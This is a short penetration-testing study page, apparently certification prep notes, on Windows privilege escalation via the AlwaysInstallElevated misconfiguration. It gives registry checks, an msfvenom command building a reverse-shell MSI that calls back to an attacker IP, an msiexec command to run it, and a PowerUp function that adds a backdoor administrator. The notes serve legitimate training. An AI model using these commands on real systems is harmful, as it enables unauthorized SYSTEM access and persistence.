> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/windows-privilege-escalation/registy/alwaysinstallelevated.md).

# AlwaysInstallElevated

## Overview

**AlwaysInstallElevated** is a misconfiguration that installs all **msi** packages as **system**. Wheels spinning?

## Elevation via AlwaysInstallElevated

Query the registry for the misconfiguration

```powerquery
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
reg query HKCU\Software\Policies\Microsoft\Windows\Installer
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FydWijipiIIEFlaoGybcg%2Fimage.png?alt=media&amp;token=3d9e3cc5-2ea1-42c3-8cfd-539b67da8361" alt=""><figcaption><p>The machine is vulnerable if both values are set to 1</p></figcaption></figure>

Create a malicious msi file

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.8 LPORT=1337 -f msi -o rev.msi
</strong></code></pre>

Pop a shell

```powerquery
msiexec /i rev.msi
```

### Quick Win

You can get a quick win by using the **Write-UserAddMSI** function from PowerUp.

This function will add a backdoor user to the **Local Administrators Group**

{% hint style="info" %}
An RDP sessions is required for this
{% endhint %}

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2Fm6VLByG2Axv40pscRPg0%2Fimage.png?alt=media&amp;token=a4f18854-ab6e-4c00-95e5-9c1dc8cbc673" alt=""><figcaption></figcaption></figure>

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2F7A0dTF22HZK6NVRmGHOw%2Fimage.png?alt=media&amp;token=5ae4c72b-7171-4fa7-87d9-c46ae266f804" alt=""><figcaption></figcaption></figure>
